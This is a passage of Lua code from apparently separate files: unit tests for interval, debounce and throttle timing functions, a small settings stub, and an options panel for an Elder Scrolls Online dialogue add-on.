clock:process() assert.spy(callSpy).called(2) end ) it( "can be cleared inside the function", function() local clearCallSpy = spy.new( function(interval) interval:clear() end ) Functions.setInterval(clearCallSpy, 2) assert.spy(clearCallSpy).was_not_called() wait(3) clock:process() assert.spy(clearCallSpy).called(1) wait(2) clock:process() assert.spy(clearCallSpy).called(1) end ) end ) describe( "Debounce", function() local debounced before_each( function() debounced = Functions.debounce(callSpy, 100) end ) it( "should not call before the delay has elapsed", function() debounced("hi") assert.spy(callSpy).was_not_called() wait(99) clock:process() assert.spy(callSpy).was_not_called() end ) it( "should call after the delay", function() debounced("hi") wait(100) clock:process() assert.spy(callSpy).was_called(1) assert.spy(callSpy).was_called_with("hi") end ) it( "should group calls and call the debounced function with the last arguments", function() local result = debounced("hi") assert.are.same(result, nil) local result2 = debounced("guys") assert.are.same(result2, nil) wait(100) clock:process() assert.spy(callSpy).was_called(1) assert.spy(callSpy).was_called_with("guys") local result3 = debounced("stuff") assert.are.same({[1] = "guys", n = 1}, result3) end ) end ) describe( "Throttle", function() local throttled before_each( function() throttled = Functions.throttle(callSpy, 100) end ) it( "should be called immediately", function() assert.spy(callSpy).was_not_called() local result = throttled("hi") assert.spy(callSpy).was_called() assert.are.same( { n = 1, [1] = "hi" }, result ) end ) it( "should not be called subsequently but return available args", function() local result = throttled("hi") assert.are.same( { n = 1, [1] = "hi" }, result ) wait(50) clock:process() result = throttled("ho") assert.spy(callSpy).was_called(1) assert.are.same( { n = 1, [1] = "hi" }, result ) end ) it( "should be called again after the timeout", function() local result = throttled("hi") assert.are.same( { n = 1, [1] = "hi" }, result ) wait(50) clock:process() result = throttled("ho") assert.spy(callSpy).was_called(1) assert.are.same( { n = 1, [1] = "hi" }, result ) wait(100) clock:process() throttled("twit") result = throttled("twoo") assert.spy(callSpy).was_called(2) assert.are.same( { n = 1, [1] = "twit" }, result ) end ) end ) end )
Settings = {} Settings.SettingsOptionOne = false
-- Slightly Improved™ Dialogues -- The MIT License © 2016 Arthur Corenzan local NAMESPACE = "SlightlyImprovedDialogues" local settings = {} local panel = { type = "panel", name = "Slightly Improved™ Dialogues", displayName = "Slightly Improved™ Dialogues", author = nil, version = nil, } local options = { { type = "checkbox", name = "Goodbye Greyed out by Default", tooltip = "Make the goodbye option always appear faded.", getFunc = function() return settings.goodbyeAlwaysSeen end, setFunc = function(value) settings.goodbyeAlwaysSeen = value end, }, { type = "checkbox", name = "Prefix Options with their Numbers", tooltip = "Add the corresponding number before each option in the dialogue.", getFunc = function() return settings.addNumberPrefix end, setFunc = function(value) settings.addNumberPrefix = value end, }, } CALLBACK_MANAGER:RegisterCallback(NAMESPACE.."_OnAddOnLoaded", function(savedVars) settings = savedVars local LAM = LibStub("LibAddonMenu-2.0") LAM:RegisterAddonPanel(NAMESPACE, panel) LAM:RegisterOptionControls(NAMESPACE, options) end)